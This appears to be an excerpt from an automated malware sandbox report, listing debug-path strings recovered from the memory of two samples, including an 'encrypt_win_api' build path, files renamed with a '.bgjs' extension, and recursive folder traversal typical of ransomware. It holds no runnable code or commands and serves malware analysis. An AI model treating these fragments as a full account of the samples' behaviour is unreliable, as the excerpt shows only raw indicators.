Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\U source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.bgjs source: 8jvTeVxooN.exe, 00000004.00000003.2222509349.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4 source: 8jvTeVxooN.exe, 00000004.00000003.2270202437.000000000379B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2270594593.000000000379B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2274316912.000000000379B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1721427076.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1717959901.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1719930942.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\ source: 8jvTeVxooN.exe, 00000004.00000003.2280340145.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281044676.000000000371C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\'M( source: 8jvTeVxooN.exe, 00000004.00000003.2343975906.00000000039C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\.txt source: 8jvTeVxooN.exe, 00000004.00000003.2014549664.0000000003178000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2043527617.0000000003175000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2043488787.0000000003158000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2014494280.000000000315B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\\ source: 8jvTeVxooN.exe, 00000004.00000003.2344293093.0000000003A74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2280424779.0000000003943000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\E source: 8jvTeVxooN.exe, 00000004.00000003.2305864286.00000000039D2000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280424779.00000000039ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Crashpad\reports\.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2344293093.0000000003A74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 8jvTeVxooN.exe, 00000004.00000003.2331860153.0000000003A05000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2330083529.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.00000000039FE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbache133408908224609935.txttxtT source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: 8jvTeVxooN.exe, 00000004.00000003.2344293093.0000000003A74000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2329474803.000000000370B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2331386938.000000000366E000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2331276392.0000000003726000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2330615956.000000000365F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2243645433.00000000035BA000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2043431026.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: 8jvTeVxooN.exe, 00000004.00000003.2331434769.0000000003983000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2243604156.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241688254.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242100794.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222656039.00000000035BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbq source: 8jvTeVxooN.exe, 00000004.00000003.2222509349.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: 8jvTeVxooN.exe, 00000004.00000003.2241944533.0000000003601000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2241374237.00000000035E4000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242243160.0000000003611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\y\t source: 8jvTeVxooN.exe, 00000004.00000003.2349385724.00000000031AB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2347555316.0000000003194000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2280760396.00000000035E3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280424779.00000000039B1000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.bgjs source: 8jvTeVxooN.exe, 00000004.00000003.2222296038.000000000365C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\*n& source: 8jvTeVxooN.exe, 00000004.00000003.2282381509.0000000003165000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281584715.0000000003164000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2282798489.0000000003168000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2282996112.000000000316C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2280424779.0000000003982000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2273926106.0000000003982000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error85405.txt source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\DVR\c source: 8jvTeVxooN.exe, 00000004.00000003.2269685051.000000000377F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280340145.00000000036FB000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281044676.000000000371C000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281698659.0000000003780000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ic source: 8jvTeVxooN.exe, 00000004.00000003.2339767711.0000000003727000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\; source: 8jvTeVxooN.exe, 00000004.00000003.2242287588.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2270202437.000000000379B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262988748.0000000003788000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2270594593.000000000379B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263023581.0000000003798000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243721047.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2260970474.000000000377F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2274316912.000000000379B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\n\ source: 8jvTeVxooN.exe, 00000004.00000003.2329474803.000000000370B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2331276392.0000000003726000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbuM source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2242287588.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262988748.0000000003788000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263023581.0000000003798000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2243721047.0000000003797000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2260970474.000000000377F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\\ source: 8jvTeVxooN.exe, 00000004.00000003.2262536417.0000000003658000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261082812.0000000003643000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Lw source: 8jvTeVxooN.exe, 00000004.00000003.2222656039.00000000035BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1721427076.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1717959901.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1719930942.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdbAPPS_{~2 source: 8jvTeVxooN.exe, 00000004.00000003.2222871934.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222943806.000000000312A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: 8jvTeVxooN.exe, 00000004.00000003.2306670247.0000000003604000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\Appli source: 8jvTeVxooN.exe, 00000004.00000003.2339767711.0000000003727000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2331860153.0000000003A05000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2330083529.00000000039C3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.00000000039FE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\%A source: 8jvTeVxooN.exe, 00000004.00000003.2222656039.00000000035BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\2p source: 8jvTeVxooN.exe, 00000004.00000003.2305864286.00000000039D2000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280424779.00000000039D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\* source: 8jvTeVxooN.exe, 00000004.00000003.2269451295.000000000366A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2281520896.0000000003668000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2306670247.0000000003604000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280902060.0000000003606000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262536417.000000000366A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2262018814.0000000003668000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280760396.00000000035E3000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261082812.0000000003643000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: 8jvTeVxooN.exe, 00000004.00000003.2242006296.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261338152.000000000317F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263140213.000000000318D000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2261225248.0000000003154000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242895239.000000000318F000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2263050017.0000000003185000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2242673984.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\\ source: 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\c source: 8jvTeVxooN.exe, 00000004.00000003.2273926106.00000000039B7000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2280424779.00000000039B1000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2305864286.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\bbwe\ Dak source: 8jvTeVxooN.exe, 00000004.00000003.2347681750.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\* source: 8jvTeVxooN.exe, 00000004.00000003.2262988748.0000000003788000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2260970474.000000000377F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\T>o source: 8jvTeVxooN.exe, 00000004.00000003.2329711043.000000000393B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 8jvTeVxooN.exe, 00000004.00000003.2330083529.0000000003A84000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\j source: 8jvTeVxooN.exe, 00000004.00000003.2347681750.0000000003189000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2043431026.000000000319C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 8jvTeVxooN.exe, 8jvTeVxooN.exe, 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000005.00000002.1668558182.0000000005E70000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000006.00000002.2868958122.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000009.00000002.1739002784.0000000005DA0000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000A.00000002.1750386655.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000B.00000002.1823212660.0000000005E40000.00000040.00001000.00020000.00000000.sdmp, 8jvTeVxooN.exe, 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: BACKGR~2ntkrnlmp.pdbndTransferApiGroup2469999723291e28c55f33c87de532f source: 8jvTeVxooN.exe, 00000004.00000003.2222871934.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222943806.000000000312A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs source: 8jvTeVxooN.exe, 00000004.00000003.2222590135.00000000036DF000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.000000000365C000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2222296038.00000000036D3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 8jvTeVxooN.exe, 00000004.00000003.2280902060.0000000003686000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2270378630.0000000003685000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2273685265.0000000003686000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2282381509.0000000003162000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2282224674.0000000003686000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2282004420.0000000003152000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2269141384.000000000367A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2270270486.000000000314A000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2274393664.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: 8jvTeVxooN.exe, 00000004.00000003.2339577844.0000000003972000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\sets\n source: 8jvTeVxooN.exe, 00000004.00000003.2346568639.0000000003A74000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2347385665.0000000003AD1000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2346890351.0000000003A9D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: 8jvTeVxooN.exe, 00000004.00000003.1984072588.0000000003580000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\*mingState\ source: 8jvTeVxooN.exe, 00000004.00000003.2339311493.0000000003661000.00000004.00000020.00020000.00000000.sdmp, 8jvTeVxooN.exe, 00000004.00000003.2343854318.0000000003661000.00000004.00000020.00020000.00000000.sdmp
